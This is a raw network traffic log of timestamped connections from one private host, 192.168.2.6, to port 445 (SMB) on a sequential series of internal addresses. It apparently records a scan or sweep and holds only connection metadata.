Jul 6, 2024 14:11:26.906582117 CEST	445	50662	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:26.906807899 CEST	445	50663	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:26.907203913 CEST	50663	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:26.909518957 CEST	445	50659	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:26.909529924 CEST	445	50660	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:26.909616947 CEST	50659	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:26.909652948 CEST	445	50664	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:26.909673929 CEST	50660	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:26.909696102 CEST	50664	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:26.909974098 CEST	50661	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:26.909974098 CEST	50662	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:26.909974098 CEST	50662	445	192.168.2.6	192.168.1.98
Jul 6, 2024 14:11:26.909974098 CEST	50661	445	192.168.2.6	192.168.1.97
Jul 6, 2024 14:11:26.912046909 CEST	50660	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:26.912972927 CEST	445	50663	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:26.913108110 CEST	50663	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:26.913136959 CEST	50663	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:26.914705992 CEST	50659	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:26.914787054 CEST	50664	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:26.915093899 CEST	445	50659	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:26.915133953 CEST	50659	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:26.915688992 CEST	445	50660	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:26.915699005 CEST	445	50664	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:26.915745974 CEST	50660	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:26.915745974 CEST	50664	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:26.916449070 CEST	50665	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:26.918277979 CEST	445	50663	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:26.918450117 CEST	445	50660	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:26.918538094 CEST	50666	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:26.920458078 CEST	445	50659	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:26.920466900 CEST	445	50664	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:26.920489073 CEST	445	50662	192.168.1.98	192.168.2.6
Jul 6, 2024 14:11:26.920497894 CEST	445	50661	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:26.930346012 CEST	50667	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:26.933635950 CEST	445	50661	192.168.1.97	192.168.2.6
Jul 6, 2024 14:11:26.935667038 CEST	50668	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:26.936348915 CEST	445	50665	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:26.936403036 CEST	50665	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:26.936409950 CEST	445	50666	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:26.936630011 CEST	50666	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:26.936722040 CEST	50666	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:26.937943935 CEST	50669	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:26.944534063 CEST	50665	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:26.947357893 CEST	50670	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:26.948651075 CEST	50671	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:26.949645996 CEST	50672	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:26.954662085 CEST	445	50667	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:26.954725027 CEST	445	50668	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:26.954741955 CEST	445	50665	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:26.954746962 CEST	445	50666	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:26.954802036 CEST	50667	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:26.955939054 CEST	50668	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:26.955939054 CEST	50665	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:26.957144976 CEST	50666	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:26.958137989 CEST	445	50669	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:26.958158970 CEST	445	50665	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:26.958197117 CEST	445	50670	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:26.959345102 CEST	50670	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:26.959345102 CEST	50670	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:26.959378004 CEST	445	50671	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:26.959397078 CEST	445	50672	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:26.960063934 CEST	50669	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:26.960063934 CEST	50669	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:26.960136890 CEST	50673	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:26.960221052 CEST	50674	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:26.962805033 CEST	50675	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:26.962850094 CEST	445	50668	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:26.963382959 CEST	445	50667	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:26.964284897 CEST	50667	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:26.965152979 CEST	445	50670	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:26.965424061 CEST	445	50670	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:26.965444088 CEST	445	50673	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:26.965729952 CEST	445	50674	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:26.967618942 CEST	50670	445	192.168.2.6	192.168.1.100
Jul 6, 2024 14:11:26.967799902 CEST	50672	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:26.967799902 CEST	50672	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:26.967799902 CEST	50676	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:26.968409061 CEST	50673	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:26.968409061 CEST	50673	445	192.168.2.6	192.168.1.101
Jul 6, 2024 14:11:26.968409061 CEST	50674	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:26.968409061 CEST	50674	445	192.168.2.6	192.168.1.102
Jul 6, 2024 14:11:26.970119953 CEST	445	50675	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:26.970185041 CEST	50675	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:26.970664024 CEST	50675	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:26.971189976 CEST	445	50667	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:26.971506119 CEST	445	50669	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:26.974170923 CEST	445	50670	192.168.1.100	192.168.2.6
Jul 6, 2024 14:11:26.975116968 CEST	445	50673	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:26.975127935 CEST	445	50674	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:26.975802898 CEST	445	50673	192.168.1.101	192.168.2.6
Jul 6, 2024 14:11:26.976432085 CEST	50677	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:26.976494074 CEST	445	50674	192.168.1.102	192.168.2.6
Jul 6, 2024 14:11:26.977045059 CEST	445	50675	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:26.977128029 CEST	50675	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:26.977432013 CEST	445	50676	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:26.977775097 CEST	445	50672	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:26.978384018 CEST	50678	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:26.978760004 CEST	50679	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:26.981569052 CEST	445	50677	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:26.981873035 CEST	50677	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:26.981873035 CEST	50677	445	192.168.2.6	192.168.1.103
Jul 6, 2024 14:11:26.983598948 CEST	445	50678	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:26.983659983 CEST	50678	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:26.984376907 CEST	50676	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:26.984376907 CEST	50676	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:26.984376907 CEST	50672	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:26.986653090 CEST	445	50677	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:26.986841917 CEST	445	50677	192.168.1.103	192.168.2.6
Jul 6, 2024 14:11:26.987742901 CEST	445	50679	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:26.989541054 CEST	50671	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:26.989541054 CEST	50668	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:26.989541054 CEST	50671	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:26.989541054 CEST	50668	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:26.990297079 CEST	445	50669	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:26.990334034 CEST	445	50678	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:26.990382910 CEST	50678	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:26.992432117 CEST	445	50676	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:26.993782043 CEST	50679	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:26.993782043 CEST	50679	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:26.994313002 CEST	50676	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:26.994735956 CEST	445	50671	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:26.999291897 CEST	445	50679	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:26.999500036 CEST	50678	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:26.999500036 CEST	50680	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:26.999500036 CEST	50681	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:27.000108957 CEST	445	50668	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:27.000231981 CEST	445	50671	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:27.000633001 CEST	50679	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:27.001988888 CEST	50667	445	192.168.2.6	192.168.1.99
Jul 6, 2024 14:11:27.005258083 CEST	445	50678	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:27.005845070 CEST	445	50679	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:27.007612944 CEST	50669	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:27.007612944 CEST	50671	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:27.009964943 CEST	445	50680	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:27.009974003 CEST	445	50681	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:27.010425091 CEST	50684	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:27.010426044 CEST	50680	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:27.010426044 CEST	50681	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:27.010426044 CEST	50680	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:27.011681080 CEST	50681	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:27.011981964 CEST	50682	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:27.011981964 CEST	50683	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:27.012550116 CEST	50685	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:27.015722036 CEST	445	50667	192.168.1.99	192.168.2.6
Jul 6, 2024 14:11:27.015906096 CEST	445	50684	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:27.016190052 CEST	50684	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:27.018290043 CEST	445	50685	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:27.018299103 CEST	445	50682	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:27.018335104 CEST	445	50683	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:27.018367052 CEST	50685	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:27.018450022 CEST	50683	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:27.018450022 CEST	50682	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:27.018857956 CEST	445	50681	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:27.018876076 CEST	445	50680	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:27.021636009 CEST	50684	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:27.022269011 CEST	50685	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:27.022861004 CEST	50682	445	192.168.2.6	192.168.1.104
Jul 6, 2024 14:11:27.022861004 CEST	50683	445	192.168.2.6	192.168.1.105
Jul 6, 2024 14:11:27.024238110 CEST	50686	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:27.025182009 CEST	50687	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:27.025373936 CEST	50688	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:27.030618906 CEST	445	50682	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:27.030627966 CEST	445	50685	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:27.030636072 CEST	445	50684	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:27.030740976 CEST	445	50683	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:27.030750990 CEST	445	50686	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:27.030797958 CEST	50686	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:27.030862093 CEST	50686	445	192.168.2.6	192.168.1.106
Jul 6, 2024 14:11:27.031199932 CEST	445	50687	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:27.031245947 CEST	50687	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:27.031393051 CEST	445	50688	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:27.031445980 CEST	50688	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:27.031691074 CEST	50688	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:27.033694983 CEST	445	50680	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:27.033744097 CEST	50680	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:27.033972025 CEST	445	50681	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:27.034009933 CEST	50681	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:27.034877062 CEST	445	50684	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:27.034923077 CEST	50684	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:27.035295963 CEST	445	50685	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:27.035326958 CEST	50685	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:27.037601948 CEST	445	50683	192.168.1.105	192.168.2.6
Jul 6, 2024 14:11:27.037816048 CEST	445	50682	192.168.1.104	192.168.2.6
Jul 6, 2024 14:11:27.037858963 CEST	445	50686	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:27.037971020 CEST	50687	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:27.038600922 CEST	445	50686	192.168.1.106	192.168.2.6
Jul 6, 2024 14:11:27.039608955 CEST	50689	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:27.042273045 CEST	50690	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:27.042304039 CEST	445	50688	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:27.052405119 CEST	445	50689	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:27.052479982 CEST	50689	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:27.052586079 CEST	50689	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:27.052840948 CEST	445	50690	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:27.052908897 CEST	50690	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:27.053539038 CEST	445	50687	192.168.1.234	192.168.2.6
Jul 6, 2024 14:11:27.053584099 CEST	50687	445	192.168.2.6	192.168.1.234
Jul 6, 2024 14:11:27.053945065 CEST	50691	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:27.055480003 CEST	445	50688	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:27.055521011 CEST	50688	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:27.055753946 CEST	50690	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:27.057468891 CEST	445	50689	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:27.057532072 CEST	50689	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:27.057828903 CEST	445	50689	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:27.058016062 CEST	50692	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:27.058016062 CEST	50693	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:27.061009884 CEST	445	50690	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:27.062432051 CEST	445	50691	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:27.063355923 CEST	50691	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:27.063355923 CEST	50691	445	192.168.2.6	192.168.1.107
Jul 6, 2024 14:11:27.068537951 CEST	445	50691	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:27.068547010 CEST	445	50691	192.168.1.107	192.168.2.6
Jul 6, 2024 14:11:27.070714951 CEST	445	50692	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:27.070730925 CEST	445	50693	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:27.072269917 CEST	50694	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:27.074184895 CEST	50692	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:27.074184895 CEST	50693	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:27.074184895 CEST	50693	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:27.074184895 CEST	50695	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:27.075114012 CEST	445	50690	192.168.1.235	192.168.2.6
Jul 6, 2024 14:11:27.078738928 CEST	50696	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:27.079117060 CEST	445	50695	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:27.079127073 CEST	445	50692	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:27.079325914 CEST	445	50693	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:27.079807043 CEST	50695	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:27.079807043 CEST	50692	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:27.079807043 CEST	50695	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:27.079807043 CEST	50693	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:27.080885887 CEST	50690	445	192.168.2.6	192.168.1.235
Jul 6, 2024 14:11:27.083684921 CEST	445	50696	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:27.083741903 CEST	50696	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:27.083842039 CEST	50696	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:27.085235119 CEST	445	50695	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:27.086154938 CEST	445	50694	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:27.086416960 CEST	50697	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:27.086743116 CEST	50698	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:27.086743116 CEST	50699	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:27.087059975 CEST	50694	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:27.087059975 CEST	50694	445	192.168.2.6	192.168.1.108
Jul 6, 2024 14:11:27.089176893 CEST	445	50696	192.168.1.237	192.168.2.6
Jul 6, 2024 14:11:27.089229107 CEST	50696	445	192.168.2.6	192.168.1.237
Jul 6, 2024 14:11:27.090774059 CEST	50692	445	192.168.2.6	192.168.1.236
Jul 6, 2024 14:11:27.091664076 CEST	445	50697	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:27.091731071 CEST	50697	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:27.091938972 CEST	445	50698	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:27.091947079 CEST	445	50699	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:27.092005014 CEST	50698	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:27.092005014 CEST	50699	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:27.092955112 CEST	50697	445	192.168.2.6	192.168.1.109
Jul 6, 2024 14:11:27.093200922 CEST	50698	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:27.093200922 CEST	50699	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:27.093909979 CEST	445	50694	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:27.094218016 CEST	445	50694	192.168.1.108	192.168.2.6
Jul 6, 2024 14:11:27.094321966 CEST	50695	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:27.101104975 CEST	445	50697	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:27.101440907 CEST	445	50692	192.168.1.236	192.168.2.6
Jul 6, 2024 14:11:27.101495028 CEST	445	50697	192.168.1.109	192.168.2.6
Jul 6, 2024 14:11:27.101563931 CEST	445	50698	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:27.101614952 CEST	50698	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:27.101787090 CEST	445	50699	192.168.1.238	192.168.2.6
Jul 6, 2024 14:11:27.101829052 CEST	50699	445	192.168.2.6	192.168.1.238
Jul 6, 2024 14:11:27.103236914 CEST	50701	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:27.106216908 CEST	50700	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:27.108356953 CEST	445	50701	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:27.109021902 CEST	50701	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:27.109021902 CEST	50701	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:27.110196114 CEST	50702	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:27.116660118 CEST	50703	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:27.118556976 CEST	50704	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:27.119791031 CEST	50705	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:27.131874084 CEST	50706	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:27.131997108 CEST	50707	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:27.133183956 CEST	50708	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:27.133948088 CEST	445	50702	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:27.133958101 CEST	445	50700	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:27.134002924 CEST	50702	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:27.134042978 CEST	50700	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:27.134061098 CEST	445	50701	192.168.1.239	192.168.2.6
Jul 6, 2024 14:11:27.134118080 CEST	50701	445	192.168.2.6	192.168.1.239
Jul 6, 2024 14:11:27.134931087 CEST	445	50703	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:27.134985924 CEST	50703	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:27.135018110 CEST	445	50704	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:27.135032892 CEST	50703	445	192.168.2.6	192.168.1.111
Jul 6, 2024 14:11:27.135050058 CEST	445	50705	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:27.135847092 CEST	50704	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:27.135847092 CEST	50705	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:27.135848045 CEST	50704	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:27.135848045 CEST	50705	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:27.136126995 CEST	50702	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:27.137289047 CEST	50709	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:27.139786959 CEST	445	50706	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:27.139796972 CEST	445	50707	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:27.139820099 CEST	445	50708	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:27.139955044 CEST	445	50703	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:27.140347004 CEST	50706	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:27.140347004 CEST	50707	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:27.140347004 CEST	50706	445	192.168.2.6	192.168.1.112
Jul 6, 2024 14:11:27.140347004 CEST	50707	445	192.168.2.6	192.168.1.113
Jul 6, 2024 14:11:27.140662909 CEST	50700	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:27.141464949 CEST	50708	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:27.141464949 CEST	50708	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:27.141654968 CEST	445	50702	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:27.142299891 CEST	445	50700	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:27.142499924 CEST	445	50703	192.168.1.111	192.168.2.6
Jul 6, 2024 14:11:27.143152952 CEST	445	50709	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:27.144243956 CEST	50709	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:27.144243956 CEST	50709	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:27.145253897 CEST	445	50706	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:27.145262957 CEST	445	50707	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:27.145720005 CEST	445	50704	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:27.145843029 CEST	445	50700	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:27.146018982 CEST	445	50705	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:27.146250963 CEST	445	50706	192.168.1.112	192.168.2.6
Jul 6, 2024 14:11:27.146873951 CEST	50700	445	192.168.2.6	192.168.1.110
Jul 6, 2024 14:11:27.147561073 CEST	445	50707	192.168.1.113	192.168.2.6
Jul 6, 2024 14:11:27.147614956 CEST	50710	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:27.148114920 CEST	445	50705	192.168.1.240	192.168.2.6
Jul 6, 2024 14:11:27.149283886 CEST	445	50708	192.168.1.241	192.168.2.6
Jul 6, 2024 14:11:27.149955034 CEST	445	50709	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:27.150118113 CEST	50711	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:27.150547028 CEST	50712	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:27.150547028 CEST	50708	445	192.168.2.6	192.168.1.241
Jul 6, 2024 14:11:27.150547028 CEST	50709	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:27.152396917 CEST	445	50700	192.168.1.110	192.168.2.6
Jul 6, 2024 14:11:27.152610064 CEST	445	50710	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:27.156169891 CEST	50702	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:27.157951117 CEST	50710	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:27.157951117 CEST	50710	445	192.168.2.6	192.168.1.114
Jul 6, 2024 14:11:27.158261061 CEST	50704	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:27.158261061 CEST	50705	445	192.168.2.6	192.168.1.240
Jul 6, 2024 14:11:27.163193941 CEST	50713	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:27.164249897 CEST	50714	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:27.164752007 CEST	445	50702	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:27.164834976 CEST	445	50712	192.168.1.242	192.168.2.6
